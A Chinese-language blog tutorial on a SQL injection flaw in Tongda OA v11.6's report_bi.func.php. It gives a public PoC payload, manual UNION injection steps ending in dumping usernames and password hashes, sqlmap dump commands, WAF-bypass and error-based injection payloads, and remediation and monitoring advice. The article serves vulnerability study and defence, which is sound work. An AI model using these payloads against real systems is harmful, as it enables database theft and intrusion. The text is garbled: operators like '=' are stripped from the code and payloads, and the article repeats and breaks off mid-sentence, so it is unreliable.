1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂但它背后反映出的问题——对用户输入过滤不严、动态SQL拼接的风险——在今天的很多Web应用中依然普遍存在。复现和研究这类漏洞对于安全从业者理解漏洞成因、掌握手工注入技巧以及思考如何在开发中避免同类问题都有着非常实际的价值。这篇文章我就带大家从零开始完整地拆解这个漏洞的发现、分析和复现过程并分享一些在实战中绕过防御和精准利用的思考。通达OA作为国内广泛使用的办公自动化系统其安全性直接影响着大量企业和机构。report_bi.func.php文件是其中负责商业智能报表相关功能的脚本。漏洞的核心在于其actionget_link_info的逻辑处理中对$_POST[‘dataset_id’]参数未进行有效的过滤和转义直接拼接到了SQL语句中导致了注入的发生。攻击者无需高权限在能够访问该接口的情况下即可构造恶意参数窃取数据库中的敏感信息如管理员账号、内部通讯录、甚至服务器配置等。2. 漏洞原理深度解析2.1 代码层逻辑缺陷剖析要真正理解一个SQL注入漏洞光看利用Payload是不够的必须深入到代码逻辑层面。虽然我们无法直接获取通达OA v11.6的完整源代码但根据漏洞描述和常见的PHP编程模式我们可以高度还原其漏洞代码的样貌。通常在类似report_bi.func.php的功能文件中会存在一个用于处理前端Ajax请求的分发器根据action参数执行不同的函数。当action为get_link_info时很可能会去查询与某个数据集dataset相关的链接信息。关键的漏洞代码可能类似于以下结构// report_bi.func.php 中部分代码逻辑推测 if ($_GET[‘action’] ‘get_link_info’) { $dataset_id $_POST[‘dataset_id’]; // 危险操作未经过滤直接将用户输入拼接入SQL $sql “SELECT * FROM bi_report_link WHERE dataset_id ‘“ . $dataset_id . “‘“; $result mysql_query($sql); // 或使用mysqli、PDO等 // … 后续处理结果并返回给前端 … }为什么这段代码危险直接拼接用户控制的$dataset_id被直接以字符串拼接的方式放入SQL语句。这是最原始、风险最高的SQL语句构建方式。缺乏过滤代码中没有对$dataset_id进行任何类型的检查比如是否为预期的数字或特定格式的字符串也没有使用addslashes、mysql_real_escape_string已废弃等函数进行转义。错误处理如果后端数据库操作出错程序可能会将错误信息直接返回给前端这为攻击者进行“报错注入”提供了便利可以借此获取数据库结构等关键信息。2.2 SQL注入攻击链构建基于上述代码缺陷攻击者可以构造一个特殊的dataset_id值来“欺骗”数据库执行额外的恶意指令。我们以经典的联合查询UNION SELECT注入为例拆解攻击链闭合原语句原SQL语句是WHERE dataset_id ‘$input‘。要注入首先需要闭合前面的单引号。因此Payload 的开头通常是一个单引号‘。注释后续代码闭合单引号后原SQL语句后面可能还有其他的SQL代码或另一个闭合引号。为了确保我们注入的语句是唯一被执行的需要用注释符--或#将原语句后面的部分注释掉。在URL编码中#编码为%23。插入恶意查询在闭合和注释之间插入我们精心构造的UNION SELECT语句。UNION操作符用于合并两个SELECT语句的结果集前提是这两个语句的列数必须相同。因此攻击者需要先探测出原SELECT语句查询的列数。信息提取通过UNION SELECT我们可以将数据库版本database()、当前用户user()、或其他敏感表的数据合并到正常查询结果中并被前端页面显示或隐藏在响应包中。网络上流传的PoC概念验证载荷efgh%27-%40%60%27%60%29unionselectdatabase%28%29%2C2%2Cuser%28%29%23%27看起来有些复杂因为它可能包含了一些针对特定过滤规则的绕过技巧。我们将其解码并简化分析efgh可能是一个无意义的字符串用于满足程序对dataset_id的某些基础格式期望。%27即单引号‘用于闭合原SQL语句中的引号。后续的-%40%60%27%60%29可能是在尝试构造一个永真条件如‘ or ‘1‘‘1的变体或处理一些额外的语法闭合目的是让原查询部分“失效”从而确保UNION后的查询结果能被返回。unionselectdatabase%28%29%2C2%2Cuser%28%29核心注入语句查询当前数据库名和用户。这里用了2作为占位列说明探测出原查询有3列。%23%27%23是#用于注释掉原SQL语句末尾可能存在的另一个单引号‘及后续内容。注意在实际漏洞利用中Payload 的构造并非一成不变。它高度依赖于目标代码的具体SQL语句结构、使用的数据库类型MySQL、Oracle等以及中间可能存在的WAFWeb应用防火墙或简单的过滤规则。因此手工注入能力的关键在于根据响应灵活调整Payload。3. 漏洞复现环境搭建与手工注入实战理解了原理我们动手搭建环境进行复现。这里我选择使用 Docker 快速部署一个漏洞靶场环境这比寻找一个真实的、未修复的通达OA v11.6系统要安全和方便得多。3.1 靶场环境快速部署我推荐使用集成化的漏洞靶场例如 Vulhub 或基于 Vulhub 构建的在线靶场。这些靶场通常已经准备好了包含特定漏洞的软件环境镜像。假设我们使用一个预置了该漏洞的Docker镜像部署命令非常简单# 假设镜像名为 tongda-oa-v11.6-sqli docker pull some-registry/tongda-oa-v11.6-sqli docker run -d -p 8080:80 --name tongda-sqli some-registry/tongda-oa-v11.6-sqli执行后访问http://your-ip:8080就能看到通达OA的登录界面。为了复现漏洞我们需要一个有效的会话。通常这类靶场会预设一个默认账号密码如admin/admin123。如果无法登录可能需要寻找或注册一个普通用户账号因为某些漏洞在低权限下也可利用。3.2 手工注入步骤详解真正的渗透测试中自动化工具可能被WAF拦截或产生大量日志手工注入是必备技能。下面我们完全用手工方式一步步挖掘这个漏洞。第1步漏洞点探测与参数定位使用浏览器开发者工具F12的“网络Network”面板或者直接使用 Burp Suite 这类代理工具拦截流量。登录系统后尝试访问或触发与“报表设计”、“BI分析”或“数据中心”相关的功能。我们的目标是找到对/general/bi_design/appcenter/report_bi.func.php的请求。如果前端有对应功能很容易捕获到请求。如果没有我们也可以直接手动构造请求发送到该端点。通过修改action参数为get_link_info并添加dataset_id参数观察服务器的响应。第2步判断注入点与数据库类型发送一个正常的测试请求POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1 Host: target-ip:8080 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID你的会话ID actionget_link_infodataset_id1观察响应。如果返回了正常的数据或“未找到”等提示说明该参数被处理了。 接着我们尝试触发错误以确认注入点并判断数据库类型。经典的方法是插入一个单引号dataset_id1‘如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”这几乎可以确认存在SQL注入并且很可能是MySQL数据库因为错误信息格式是MySQL的。如果页面只是空白、返回错误状态码如500或一个通用的错误提示说明可能存在注入但错误信息被屏蔽了我们需要使用“盲注”技术。第3步确定字段数ORDER BY为了使用UNION SELECT我们必须知道原查询SELECT了多少列。我们使用ORDER BY子句来探测。dataset_id1‘ order by 1-- dataset_id1‘ order by 2-- dataset_id1‘ order by 3-- dataset_id1‘ order by 4----是注释符--后面跟一个空格在URL中常代表空格。我们不断增加数字直到页面返回错误如“Unknown column ‘4‘ in ‘order clause‘”。如果order by 3成功而order by 4失败则说明原查询有3列。第4步联合查询获取信息现在我们构造联合查询。首先确保原查询部分不返回数据让联合查询的结果显示出来。常用and 12或-1‘使原条件为假。dataset_id-1‘ union select 1,2,3--观察页面回显。如果注入成功页面原本显示数据的地方可能会出现数字1、2或3。这告诉我们哪个位置可以回显我们查询的数据。假设数字2和3的位置在页面上可见。第5步提取敏感数据利用可回显的位置替换SELECT后面的字段获取信息。获取当前数据库名和用户dataset_id-1‘ union select 1, database(), user()--响应中可能会在对应位置显示数据库名如td_oa和数据库用户如rootlocalhost。获取数据库中的所有表名以MySQL为例dataset_id-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()--information_schema.tables是MySQL的系统表存储了所有表的信息。group_concat()函数将多行结果合并成一个字符串。执行后我们可能会得到一串表名如user, department, bi_report, bi_report_link...。获取特定表的列名例如user表dataset_id-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name‘user‘--这里需要注意表名‘user‘需要用单引号括起来。执行后可能得到id, username, password, real_name, ...。最终目标脱取用户账号密码dataset_id-1‘ union select 1, username, password from user--这样我们就能将user表中的用户名和密码可能是MD5哈希回显到页面上了。实操心得在实际测试中页面可能不会直接明文显示所有数据。数据可能隐藏在HTML注释、JSON响应或某个HTML标签的属性里。务必使用Burp Suite的“响应Response”面板查看完整的原始响应或者切换到“渲染Render”视图仔细寻找。有时需要结合使用concat()函数将多个字段合并或者使用limit子句分批读取数据避免因数据过长被截断。4. 自动化工具辅助与绕过技巧虽然手工注入是基础但在效率要求高或面对复杂过滤时借助工具是明智的。这里以 sqlmap 为例演示如何自动化利用此漏洞并分享一些绕过技巧。4.1 使用 sqlmap 进行高效探测sqlmap 是一款开源的自动化SQL注入工具。在确认漏洞存在后我们可以用它来快速获取数据。保存请求包首先将我们在Burp Suite中捕获到的含有dataset_id参数的合法POST请求保存为一个文本文件比如req.txt。基础扫描sqlmap -r req.txt --batch-r参数表示从文件读取HTTP请求。--batch表示以非交互模式运行自动选择默认选项。sqlmap 会自动识别注入点、数据库类型并进行测试。获取当前数据库信息sqlmap -r req.txt --current-db --current-user枚举数据库表sqlmap -r req.txt -D td_oa --tables假设当前数据库是td_oa此命令会列出该库下所有表。脱取表数据sqlmap -r req.txt -D td_oa -T user --dump此命令会导出user表的所有数据。使用 sqlmap 的注意事项流量控制使用--delay参数设置请求间隔如--delay 1表示每秒1个请求避免对目标服务器造成过大压力或触发防护机制。级别与风险--level和--risk参数可以提高测试的广度和深度但也会增加被WAF拦截的风险。对于已知的简单注入点通常不需要调整。结果解读sqlmap 的输出信息量很大要重点关注它确认的注入类型如 boolean-based blind, UNION query、Payload 以及最终导出的数据。4.2 常见过滤绕过思路在实际渗透中开发人员或WAF可能会实施一些简单的过滤。针对这个漏洞我们假设几种情况并讨论绕过方法过滤了union和select关键词大小写绕过尝试UnIoN SeLeCt。双写绕过尝试ununionion seselectlect如果过滤程序只是简单替换关键词为空那么过滤后会变成union select。内联注释绕过MySQL尝试/*!union*/ /*!select*/。MySQL会执行这些被特殊注释包裹的关键词。使用等价函数或语法如果只是获取数据库名database()被过滤可以尝试schema()MySQL中两者等价。过滤了空格使用注释符代替union/**/select。使用括号union(select 1,2,3)。使用加号URL编码中在HTTP参数中通常被解释为空格。unionselect。使用制表符%09或换行符%0a。过滤了单引号如果注入点是数字型原SQL语句没有引号则根本不需要单引号。但根据漏洞描述此处很可能是字符型。尝试使用十六进制编码。例如将user表名编码为0x75736572。那么查询列名的语句可以写成... union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x75736572--使用char()函数。char(117, 115, 101, 114)也等于字符串‘user‘。过滤了注释符--和#如果注入点位于SQL语句中间我们需要“平衡”引号。例如原语句是… WHERE id‘$input‘ AND status1。我们可以构造dataset_id1‘ or ‘1‘‘1‘ and ‘1‘‘1。这样最终的SQL变成WHERE id‘1‘ or ‘1‘‘1‘ and ‘1‘‘1‘ AND status1。通过精心构造让后面的AND status1成为我们注入语句的一部分逻辑而不影响整体执行。踩坑记录在一次内部测试中目标系统对information_schema库的访问进行了限制。sqlmap 无法直接读取表信息。这时我转而利用已知的数据库错误信息进行报错注入。通过构造如updatexml()、extractvalue()或floor(rand()*2)等会引发数据库报错的函数将想查询的数据通过错误信息带出来。例如dataset_id1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--。错误信息中就会包含数据库名。这种方式不依赖于数据回显在“盲注”场景下非常有用。5. 漏洞修复建议与防御思考复现漏洞的最终目的是为了修复和防御。针对这个具体的SQL注入漏洞修复是直接的。但从更广的视角看我们需要建立一套防御体系。5.1 针对本漏洞的紧急修复对于使用通达OA v11.6的用户应立即检查并修复/general/bi_design/appcenter/report_bi.func.php文件。修复的核心原则是使用参数化查询预编译语句这是防止SQL注入最根本、最有效的方法。以PHP PDO为例修复后的代码逻辑应该是if ($_GET[‘action’] ‘get_link_info’) { $dataset_id $_POST[‘dataset_id’]; // 使用PDO预编译语句 $sql “SELECT * FROM bi_report_link WHERE dataset_id :dataset_id”; $stmt $pdo-prepare($sql); $stmt-bindParam(‘:dataset_id’, $dataset_id, PDO::PARAM_STR); // 明确指定参数类型 $stmt-execute(); $result $stmt-fetchAll(PDO::FETCH_ASSOC); // … 后续处理 … }如果因历史原因无法大幅改动至少应进行严格的输入验证和转义$dataset_id trim($_POST[‘dataset_id’]); // 假设dataset_id应为数字ID if (!is_numeric($dataset_id)) { die(‘Invalid parameter’); } // 或者使用转义函数不推荐作为主要手段尤其是mysql扩展已废弃 // $dataset_id mysqli_real_escape_string($connection, $dataset_id);5.2 全局性安全防御策略最小权限原则为Web应用程序连接数据库的账户分配最小的必要权限。通常查询操作只需要SELECT权限绝对不要使用root或拥有DROP、FILE等危险权限的账户。输入验证与过滤在服务器端对所有用户输入进行“白名单”验证。例如如果dataset_id预期是数字就严格检查它是否为整数。对于字符串定义允许的字符集和长度范围。使用安全的API强制要求开发使用参数化查询的数据库接口如 PDOPHP、PreparedStatementJava、参数化查询Python sqlite3/MySQLdb等。从框架层面禁用字符串拼接SQL。错误信息处理在生产环境中配置应用程序和数据库不向用户显示详细的错误信息。应使用自定义的错误页面并将详细错误记录到安全的日志文件中供管理员查看。Web应用防火墙WAF部署WAF可以帮助拦截常见的攻击模式如SQL注入、XSS等。但WAF是“盾”不能替代安全的代码“盔甲”应作为纵深防御的一环。定期安全审计与更新对现有代码进行定期的安全代码审计使用静态代码分析工具SAST扫描潜在漏洞。同时关注官方和社区的安全公告及时更新系统和组件。6. 从漏洞复现到实战的延伸思考完成一个漏洞的复现远不是终点。我习惯在每次复现后问自己几个问题这能让一次简单的复现变成一次深刻的学习。第一漏洞的根源是什么这个漏洞的根源是开发人员的安全意识不足和不良的编码习惯。在快速迭代的业务压力下忽略了最基本的安全原则。这提醒我们安全必须“左移”在需求评审、设计、编码阶段就介入而不是等到测试或上线后。第二除了获取数据还能做什么SQL注入的危害远不止数据泄露。如果数据库用户权限足够高攻击者可以读写文件利用SELECT … INTO OUTFILE或LOAD_FILE()函数向服务器写入Webshell从而获取服务器控制权。执行系统命令在某些特定配置和数据库类型下如SQL Server的xp_cmdshell可能直接执行操作系统命令。攻击内网如果数据库服务器处于内网且数据库支持如PostgreSQL的dblink可能成为攻击内网其他系统的跳板。 因此在渗透测试中发现SQL注入后要进一步评估其可能造成的最大破坏。第三如何提升发现这类漏洞的效率黑盒扫描使用 AWVS、Xray、Burp Suite Professional 的主动扫描功能可以对目标进行全面的漏洞扫描。但要注意绕过WAF的策略和扫描的合法性。灰盒测试如果能有部分源代码例如通过泄露或授权测试使用代码审计工具如 Fortify、Checkmarx、Semgrep或人工审计可以更精准地定位问题。重点关注所有将用户输入拼接到SQL语句、执行命令、文件操作等危险函数的地方。流量分析在Burp Suite中使用“搜索”功能在所有请求和响应中查找常见的SQL关键词如select、union、from、where、数据库错误信息片段等可以帮助快速定位潜在的注入点。第四在防守方如何监控和发现被攻击数据库审计日志开启数据库的详细查询日志监控所有异常查询特别是包含union、select from information_schema、load_file、into outfile等关键词的查询。Web访问日志分析分析Web服务器的访问日志如Nginx的access.log寻找异常的、长的、包含大量特殊字符如单引号、注释符、%20、%27的请求URL或POST数据。部署Honeytoken蜜罐在数据库中插入一些虚假的、极具诱惑力的“诱饵”数据如名为admin_backup的表里面放假的密码。一旦监控到有查询访问这些诱饵数据立即告警。漏洞复现就像一次外科手术练习目的是为了更了解“疾病”的机理从而更好地“治疗”和“预防”。通过这次对通达OA SQL注入漏洞的深度拆解我希望不仅能提供一个可操作的复现指南更能传递一种追根溯源、举一反三的安全研究思路。在实战中情况永远比靶场复杂但扎实的基础和灵活的思维是应对万变的不二法门。
通达OA SQL注入漏洞深度剖析：从手工注入到自动化利用与防御
1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂但它背后反映出的问题——对用户输入过滤不严、动态SQL拼接的风险——在今天的很多Web应用中依然普遍存在。复现和研究这类漏洞对于安全从业者理解漏洞成因、掌握手工注入技巧以及思考如何在开发中避免同类问题都有着非常实际的价值。这篇文章我就带大家从零开始完整地拆解这个漏洞的发现、分析和复现过程并分享一些在实战中绕过防御和精准利用的思考。通达OA作为国内广泛使用的办公自动化系统其安全性直接影响着大量企业和机构。report_bi.func.php文件是其中负责商业智能报表相关功能的脚本。漏洞的核心在于其actionget_link_info的逻辑处理中对$_POST[‘dataset_id’]参数未进行有效的过滤和转义直接拼接到了SQL语句中导致了注入的发生。攻击者无需高权限在能够访问该接口的情况下即可构造恶意参数窃取数据库中的敏感信息如管理员账号、内部通讯录、甚至服务器配置等。2. 漏洞原理深度解析2.1 代码层逻辑缺陷剖析要真正理解一个SQL注入漏洞光看利用Payload是不够的必须深入到代码逻辑层面。虽然我们无法直接获取通达OA v11.6的完整源代码但根据漏洞描述和常见的PHP编程模式我们可以高度还原其漏洞代码的样貌。通常在类似report_bi.func.php的功能文件中会存在一个用于处理前端Ajax请求的分发器根据action参数执行不同的函数。当action为get_link_info时很可能会去查询与某个数据集dataset相关的链接信息。关键的漏洞代码可能类似于以下结构// report_bi.func.php 中部分代码逻辑推测 if ($_GET[‘action’] ‘get_link_info’) { $dataset_id $_POST[‘dataset_id’]; // 危险操作未经过滤直接将用户输入拼接入SQL $sql “SELECT * FROM bi_report_link WHERE dataset_id ‘“ . $dataset_id . “‘“; $result mysql_query($sql); // 或使用mysqli、PDO等 // … 后续处理结果并返回给前端 … }为什么这段代码危险直接拼接用户控制的$dataset_id被直接以字符串拼接的方式放入SQL语句。这是最原始、风险最高的SQL语句构建方式。缺乏过滤代码中没有对$dataset_id进行任何类型的检查比如是否为预期的数字或特定格式的字符串也没有使用addslashes、mysql_real_escape_string已废弃等函数进行转义。错误处理如果后端数据库操作出错程序可能会将错误信息直接返回给前端这为攻击者进行“报错注入”提供了便利可以借此获取数据库结构等关键信息。2.2 SQL注入攻击链构建基于上述代码缺陷攻击者可以构造一个特殊的dataset_id值来“欺骗”数据库执行额外的恶意指令。我们以经典的联合查询UNION SELECT注入为例拆解攻击链闭合原语句原SQL语句是WHERE dataset_id ‘$input‘。要注入首先需要闭合前面的单引号。因此Payload 的开头通常是一个单引号‘。注释后续代码闭合单引号后原SQL语句后面可能还有其他的SQL代码或另一个闭合引号。为了确保我们注入的语句是唯一被执行的需要用注释符--或#将原语句后面的部分注释掉。在URL编码中#编码为%23。插入恶意查询在闭合和注释之间插入我们精心构造的UNION SELECT语句。UNION操作符用于合并两个SELECT语句的结果集前提是这两个语句的列数必须相同。因此攻击者需要先探测出原SELECT语句查询的列数。信息提取通过UNION SELECT我们可以将数据库版本database()、当前用户user()、或其他敏感表的数据合并到正常查询结果中并被前端页面显示或隐藏在响应包中。网络上流传的PoC概念验证载荷efgh%27-%40%60%27%60%29unionselectdatabase%28%29%2C2%2Cuser%28%29%23%27看起来有些复杂因为它可能包含了一些针对特定过滤规则的绕过技巧。我们将其解码并简化分析efgh可能是一个无意义的字符串用于满足程序对dataset_id的某些基础格式期望。%27即单引号‘用于闭合原SQL语句中的引号。后续的-%40%60%27%60%29可能是在尝试构造一个永真条件如‘ or ‘1‘‘1的变体或处理一些额外的语法闭合目的是让原查询部分“失效”从而确保UNION后的查询结果能被返回。unionselectdatabase%28%29%2C2%2Cuser%28%29核心注入语句查询当前数据库名和用户。这里用了2作为占位列说明探测出原查询有3列。%23%27%23是#用于注释掉原SQL语句末尾可能存在的另一个单引号‘及后续内容。注意在实际漏洞利用中Payload 的构造并非一成不变。它高度依赖于目标代码的具体SQL语句结构、使用的数据库类型MySQL、Oracle等以及中间可能存在的WAFWeb应用防火墙或简单的过滤规则。因此手工注入能力的关键在于根据响应灵活调整Payload。3. 漏洞复现环境搭建与手工注入实战理解了原理我们动手搭建环境进行复现。这里我选择使用 Docker 快速部署一个漏洞靶场环境这比寻找一个真实的、未修复的通达OA v11.6系统要安全和方便得多。3.1 靶场环境快速部署我推荐使用集成化的漏洞靶场例如 Vulhub 或基于 Vulhub 构建的在线靶场。这些靶场通常已经准备好了包含特定漏洞的软件环境镜像。假设我们使用一个预置了该漏洞的Docker镜像部署命令非常简单# 假设镜像名为 tongda-oa-v11.6-sqli docker pull some-registry/tongda-oa-v11.6-sqli docker run -d -p 8080:80 --name tongda-sqli some-registry/tongda-oa-v11.6-sqli执行后访问http://your-ip:8080就能看到通达OA的登录界面。为了复现漏洞我们需要一个有效的会话。通常这类靶场会预设一个默认账号密码如admin/admin123。如果无法登录可能需要寻找或注册一个普通用户账号因为某些漏洞在低权限下也可利用。3.2 手工注入步骤详解真正的渗透测试中自动化工具可能被WAF拦截或产生大量日志手工注入是必备技能。下面我们完全用手工方式一步步挖掘这个漏洞。第1步漏洞点探测与参数定位使用浏览器开发者工具F12的“网络Network”面板或者直接使用 Burp Suite 这类代理工具拦截流量。登录系统后尝试访问或触发与“报表设计”、“BI分析”或“数据中心”相关的功能。我们的目标是找到对/general/bi_design/appcenter/report_bi.func.php的请求。如果前端有对应功能很容易捕获到请求。如果没有我们也可以直接手动构造请求发送到该端点。通过修改action参数为get_link_info并添加dataset_id参数观察服务器的响应。第2步判断注入点与数据库类型发送一个正常的测试请求POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1 Host: target-ip:8080 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID你的会话ID actionget_link_infodataset_id1观察响应。如果返回了正常的数据或“未找到”等提示说明该参数被处理了。 接着我们尝试触发错误以确认注入点并判断数据库类型。经典的方法是插入一个单引号dataset_id1‘如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”这几乎可以确认存在SQL注入并且很可能是MySQL数据库因为错误信息格式是MySQL的。如果页面只是空白、返回错误状态码如500或一个通用的错误提示说明可能存在注入但错误信息被屏蔽了我们需要使用“盲注”技术。第3步确定字段数ORDER BY为了使用UNION SELECT我们必须知道原查询SELECT了多少列。我们使用ORDER BY子句来探测。dataset_id1‘ order by 1-- dataset_id1‘ order by 2-- dataset_id1‘ order by 3-- dataset_id1‘ order by 4----是注释符--后面跟一个空格在URL中常代表空格。我们不断增加数字直到页面返回错误如“Unknown column ‘4‘ in ‘order clause‘”。如果order by 3成功而order by 4失败则说明原查询有3列。第4步联合查询获取信息现在我们构造联合查询。首先确保原查询部分不返回数据让联合查询的结果显示出来。常用and 12或-1‘使原条件为假。dataset_id-1‘ union select 1,2,3--观察页面回显。如果注入成功页面原本显示数据的地方可能会出现数字1、2或3。这告诉我们哪个位置可以回显我们查询的数据。假设数字2和3的位置在页面上可见。第5步提取敏感数据利用可回显的位置替换SELECT后面的字段获取信息。获取当前数据库名和用户dataset_id-1‘ union select 1, database(), user()--响应中可能会在对应位置显示数据库名如td_oa和数据库用户如rootlocalhost。获取数据库中的所有表名以MySQL为例dataset_id-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()--information_schema.tables是MySQL的系统表存储了所有表的信息。group_concat()函数将多行结果合并成一个字符串。执行后我们可能会得到一串表名如user, department, bi_report, bi_report_link...。获取特定表的列名例如user表dataset_id-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name‘user‘--这里需要注意表名‘user‘需要用单引号括起来。执行后可能得到id, username, password, real_name, ...。最终目标脱取用户账号密码dataset_id-1‘ union select 1, username, password from user--这样我们就能将user表中的用户名和密码可能是MD5哈希回显到页面上了。实操心得在实际测试中页面可能不会直接明文显示所有数据。数据可能隐藏在HTML注释、JSON响应或某个HTML标签的属性里。务必使用Burp Suite的“响应Response”面板查看完整的原始响应或者切换到“渲染Render”视图仔细寻找。有时需要结合使用concat()函数将多个字段合并或者使用limit子句分批读取数据避免因数据过长被截断。4. 自动化工具辅助与绕过技巧虽然手工注入是基础但在效率要求高或面对复杂过滤时借助工具是明智的。这里以 sqlmap 为例演示如何自动化利用此漏洞并分享一些绕过技巧。4.1 使用 sqlmap 进行高效探测sqlmap 是一款开源的自动化SQL注入工具。在确认漏洞存在后我们可以用它来快速获取数据。保存请求包首先将我们在Burp Suite中捕获到的含有dataset_id参数的合法POST请求保存为一个文本文件比如req.txt。基础扫描sqlmap -r req.txt --batch-r参数表示从文件读取HTTP请求。--batch表示以非交互模式运行自动选择默认选项。sqlmap 会自动识别注入点、数据库类型并进行测试。获取当前数据库信息sqlmap -r req.txt --current-db --current-user枚举数据库表sqlmap -r req.txt -D td_oa --tables假设当前数据库是td_oa此命令会列出该库下所有表。脱取表数据sqlmap -r req.txt -D td_oa -T user --dump此命令会导出user表的所有数据。使用 sqlmap 的注意事项流量控制使用--delay参数设置请求间隔如--delay 1表示每秒1个请求避免对目标服务器造成过大压力或触发防护机制。级别与风险--level和--risk参数可以提高测试的广度和深度但也会增加被WAF拦截的风险。对于已知的简单注入点通常不需要调整。结果解读sqlmap 的输出信息量很大要重点关注它确认的注入类型如 boolean-based blind, UNION query、Payload 以及最终导出的数据。4.2 常见过滤绕过思路在实际渗透中开发人员或WAF可能会实施一些简单的过滤。针对这个漏洞我们假设几种情况并讨论绕过方法过滤了union和select关键词大小写绕过尝试UnIoN SeLeCt。双写绕过尝试ununionion seselectlect如果过滤程序只是简单替换关键词为空那么过滤后会变成union select。内联注释绕过MySQL尝试/*!union*/ /*!select*/。MySQL会执行这些被特殊注释包裹的关键词。使用等价函数或语法如果只是获取数据库名database()被过滤可以尝试schema()MySQL中两者等价。过滤了空格使用注释符代替union/**/select。使用括号union(select 1,2,3)。使用加号URL编码中在HTTP参数中通常被解释为空格。unionselect。使用制表符%09或换行符%0a。过滤了单引号如果注入点是数字型原SQL语句没有引号则根本不需要单引号。但根据漏洞描述此处很可能是字符型。尝试使用十六进制编码。例如将user表名编码为0x75736572。那么查询列名的语句可以写成... union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x75736572--使用char()函数。char(117, 115, 101, 114)也等于字符串‘user‘。过滤了注释符--和#如果注入点位于SQL语句中间我们需要“平衡”引号。例如原语句是… WHERE id‘$input‘ AND status1。我们可以构造dataset_id1‘ or ‘1‘‘1‘ and ‘1‘‘1。这样最终的SQL变成WHERE id‘1‘ or ‘1‘‘1‘ and ‘1‘‘1‘ AND status1。通过精心构造让后面的AND status1成为我们注入语句的一部分逻辑而不影响整体执行。踩坑记录在一次内部测试中目标系统对information_schema库的访问进行了限制。sqlmap 无法直接读取表信息。这时我转而利用已知的数据库错误信息进行报错注入。通过构造如updatexml()、extractvalue()或floor(rand()*2)等会引发数据库报错的函数将想查询的数据通过错误信息带出来。例如dataset_id1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--。错误信息中就会包含数据库名。这种方式不依赖于数据回显在“盲注”场景下非常有用。5. 漏洞修复建议与防御思考复现漏洞的最终目的是为了修复和防御。针对这个具体的SQL注入漏洞修复是直接的。但从更广的视角看我们需要建立一套防御体系。5.1 针对本漏洞的紧急修复对于使用通达OA v11.6的用户应立即检查并修复/general/bi_design/appcenter/report_bi.func.php文件。修复的核心原则是使用参数化查询预编译语句这是防止SQL注入最根本、最有效的方法。以PHP PDO为例修复后的代码逻辑应该是if ($_GET[‘action’] ‘get_link_info’) { $dataset_id $_POST[‘dataset_id’]; // 使用PDO预编译语句 $sql “SELECT * FROM bi_report_link WHERE dataset_id :dataset_id”; $stmt $pdo-prepare($sql); $stmt-bindParam(‘:dataset_id’, $dataset_id, PDO::PARAM_STR); // 明确指定参数类型 $stmt-execute(); $result $stmt-fetchAll(PDO::FETCH_ASSOC); // … 后续处理 … }如果因历史原因无法大幅改动至少应进行严格的输入验证和转义$dataset_id trim($_POST[‘dataset_id’]); // 假设dataset_id应为数字ID if (!is_numeric($dataset_id)) { die(‘Invalid parameter’); } // 或者使用转义函数不推荐作为主要手段尤其是mysql扩展已废弃 // $dataset_id mysqli_real_escape_string($connection, $dataset_id);5.2 全局性安全防御策略最小权限原则为Web应用程序连接数据库的账户分配最小的必要权限。通常查询操作只需要SELECT权限绝对不要使用root或拥有DROP、FILE等危险权限的账户。输入验证与过滤在服务器端对所有用户输入进行“白名单”验证。例如如果dataset_id预期是数字就严格检查它是否为整数。对于字符串定义允许的字符集和长度范围。使用安全的API强制要求开发使用参数化查询的数据库接口如 PDOPHP、PreparedStatementJava、参数化查询Python sqlite3/MySQLdb等。从框架层面禁用字符串拼接SQL。错误信息处理在生产环境中配置应用程序和数据库不向用户显示详细的错误信息。应使用自定义的错误页面并将详细错误记录到安全的日志文件中供管理员查看。Web应用防火墙WAF部署WAF可以帮助拦截常见的攻击模式如SQL注入、XSS等。但WAF是“盾”不能替代安全的代码“盔甲”应作为纵深防御的一环。定期安全审计与更新对现有代码进行定期的安全代码审计使用静态代码分析工具SAST扫描潜在漏洞。同时关注官方和社区的安全公告及时更新系统和组件。6. 从漏洞复现到实战的延伸思考完成一个漏洞的复现远不是终点。我习惯在每次复现后问自己几个问题这能让一次简单的复现变成一次深刻的学习。第一漏洞的根源是什么这个漏洞的根源是开发人员的安全意识不足和不良的编码习惯。在快速迭代的业务压力下忽略了最基本的安全原则。这提醒我们安全必须“左移”在需求评审、设计、编码阶段就介入而不是等到测试或上线后。第二除了获取数据还能做什么SQL注入的危害远不止数据泄露。如果数据库用户权限足够高攻击者可以读写文件利用SELECT … INTO OUTFILE或LOAD_FILE()函数向服务器写入Webshell从而获取服务器控制权。执行系统命令在某些特定配置和数据库类型下如SQL Server的xp_cmdshell可能直接执行操作系统命令。攻击内网如果数据库服务器处于内网且数据库支持如PostgreSQL的dblink可能成为攻击内网其他系统的跳板。 因此在渗透测试中发现SQL注入后要进一步评估其可能造成的最大破坏。第三如何提升发现这类漏洞的效率黑盒扫描使用 AWVS、Xray、Burp Suite Professional 的主动扫描功能可以对目标进行全面的漏洞扫描。但要注意绕过WAF的策略和扫描的合法性。灰盒测试如果能有部分源代码例如通过泄露或授权测试使用代码审计工具如 Fortify、Checkmarx、Semgrep或人工审计可以更精准地定位问题。重点关注所有将用户输入拼接到SQL语句、执行命令、文件操作等危险函数的地方。流量分析在Burp 